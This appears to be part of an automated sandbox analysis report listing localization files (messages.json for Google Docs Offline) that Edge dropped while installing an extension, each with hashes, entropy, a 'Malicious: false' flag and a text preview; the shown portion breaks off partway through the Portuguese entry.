Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
